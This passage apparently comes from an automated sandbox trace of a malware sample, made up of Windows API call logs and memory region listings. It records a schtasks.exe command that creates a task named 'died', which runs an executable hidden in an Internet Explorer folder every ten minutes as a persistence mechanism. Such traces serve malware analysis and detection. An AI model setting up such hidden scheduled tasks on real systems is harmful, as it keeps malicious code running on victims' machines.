() returned 0x380000 [0076.303] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cda0) returned 0x20 [0076.304] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cda0 | out: hHeap=0x380000) returned 1 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d740) returned 1 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d740) returned 0xe [0076.304] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d740 | out: hHeap=0x380000) returned 1 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd70) returned 1 [0076.304] GetProcessHeap () returned 0x380000 [0076.304] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cd70) returned 0x20 [0076.304] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd70 | out: hHeap=0x380000) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb10) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb10) returned 0x18 [0076.305] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb10 | out: hHeap=0x380000) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395ab0) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395ab0) returned 0x20 [0076.305] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395ab0 | out: hHeap=0x380000) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395ae0) returned 1 [0076.305] GetProcessHeap () returned 0x380000 [0076.305] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395ae0) returned 0x20 [0076.306] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395ae0 | out: hHeap=0x380000) returned 1 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395b10) returned 1 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395b10) returned 0x20 [0076.306] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395b10 | out: hHeap=0x380000) returned 1 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395b40) returned 1 [0076.306] GetProcessHeap () returned 0x380000 [0076.306] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395b40) returned 0x20 [0076.307] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395b40 | out: hHeap=0x380000) returned 1 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb30) returned 1 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb30) returned 0x18 [0076.307] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb30 | out: hHeap=0x380000) returned 1 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395b70) returned 1 [0076.307] GetProcessHeap () returned 0x380000 [0076.307] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395b70) returned 0x20 [0076.308] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395b70 | out: hHeap=0x380000) returned 1 [0076.396] GetProcessHeap () returned 0x380000 [0076.396] GetProcessHeap () returned 0x380000 [0076.396] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395c00) returned 1 [0076.396] GetProcessHeap () returned 0x380000 [0076.396] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395c00) returned 0x20 [0076.396] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395c00 | out: hHeap=0x380000) returned 1 [0076.396] GetProcessHeap () returned 0x380000 [0076.396] GetProcessHeap () returned 0x380000 [0076.396] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395c60) returned 1 [0076.397] GetProcessHeap () returned 0x380000 [0076.397] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395c60) returned 0x20 [0076.397] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395c60 | out: hHeap=0x380000) returned 1 [0076.397] GetProcessHeap () returned 0x380000 [0076.397] GetProcessHeap () returned 0x380000 [0076.397] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395cc0) returned 1 [0076.397] GetProcessHeap () returned 0x380000 [0076.397] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395cc0) returned 0x20 [0076.397] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395cc0 | out: hHeap=0x380000) returned 1 [0076.397] GetProcessHeap () returned 0x380000 [0076.397] GetProcessHeap () returned 0x380000 [0076.398] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395cf0) returned 1 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395cf0) returned 0x20 [0076.398] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395cf0 | out: hHeap=0x380000) returned 1 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb50) returned 1 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb50) returned 0x18 [0076.398] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb50 | out: hHeap=0x380000) returned 1 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395c30) returned 1 [0076.398] GetProcessHeap () returned 0x380000 [0076.398] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395c30) returned 0x20 [0076.399] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395c30 | out: hHeap=0x380000) returned 1 [0076.399] GetProcessHeap () returned 0x380000 [0076.399] GetProcessHeap () returned 0x380000 [0076.399] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bad0) returned 1 [0076.399] GetProcessHeap () returned 0x380000 [0076.399] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bad0) returned 0x18 [0076.399] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bad0 | out: hHeap=0x380000) returned 1 [0076.399] exit (_Code=0) Thread: id = 158 os_tid = 0xc18 Process: id = "39" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3ba79000" os_pid = "0xc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"died\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3400 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3401 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3402 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3403 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3404 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3405 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3406 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3407 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3408 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3409 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3410 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3411 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3412 start_va = 0x220000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3413 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3414 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3415 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3416 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3417 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3418 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3419 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3420 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3421 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3422 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3423 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3424 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3425 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3426 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3427 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3428 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3429 start_va = 0x220000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3430 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3431 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3432 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3433 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3434 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 3435 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3436 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3437 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3438 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3439 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 3440 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3441 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3442 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3443 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3444 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3445 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3446 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3447 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3448 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3449 start_va = 0x1e80000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3450 start_va = 0x1f40000 end_va = 0x201efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f40000" filename = "" Region: id = 3451 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3452 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3453 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3454 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3455 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3456 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3457 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3458 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3459 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3460 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 159 os_tid = 0x228 [0076.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21fd40 | out: lpSystemTimeAsFileTime=0x21fd40*(dwLowDateTime=0x5674b3e0, dwHighDateTime=0x1d9eb0c)) [0076.315] GetCurrentProcessId () returned 0xc8 [0076.315] GetCurrentThreadId () returned 0x228 [0076.315] GetTickCount () returned 0x1768878 [0076.315] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21fd48 | out: lpPerformanceCount=0x21fd48*=2488279857247) returned 1 [0076.316] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0076.316] __set_app_type (_Type=0x1) [0076.316] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0076.316] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0076.317] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0076.317] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0076.317] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0076.317] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0076.318] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0076.318] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0076.318] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0076.318] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0076.318] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0076.318] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0076.319] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0076.319] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.319] WinSqmIsOptedIn () returned 0x0 [0076.319] GetProcessHeap () returned 0x390000 [0076.319] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3a7fa0 [0076.319] SetLastError (dwErrCode=0x0) [0076.320] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0076.320] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0076.320] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0076.320] VerifyVersionInfoW (in: lpVersionInformation=0x21f500, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f500) returned 1 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb10 [0076.320] lstrlenW (lpString="") returned 0 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x2) returned 0x3abb30 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a30 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb50 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a60 [0076.320] GetProcessHeap () returned 0x390000 [0076.320] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a90 [0076.320] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5ac0 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5af0 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb70 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b20 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b50 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b80 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5bb0 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb90 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5be0 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c10 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c40 [0076.321] GetProcessHeap () returned 0x390000 [0076.321] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c70 [0076.321] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.322] SetLastError (dwErrCode=0x0) [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5ca0 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5cd0 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5d00 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5d30 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5d60 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abbb0 [0076.322] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.322] GetProcessHeap () returned 0x390000 [0076.322] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x208) returned 0x3abd50 [0076.322] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3abd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0076.322] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0076.326] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0076.326] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0076.326] GetProcessHeap () returned 0x390000 [0076.326] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x74e) returned 0x3ac320 [0076.326] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0076.326] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3ac320 | out: lpData=0x3ac320) returned 1 [0076.327] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0076.327] VerQueryValueW (in: 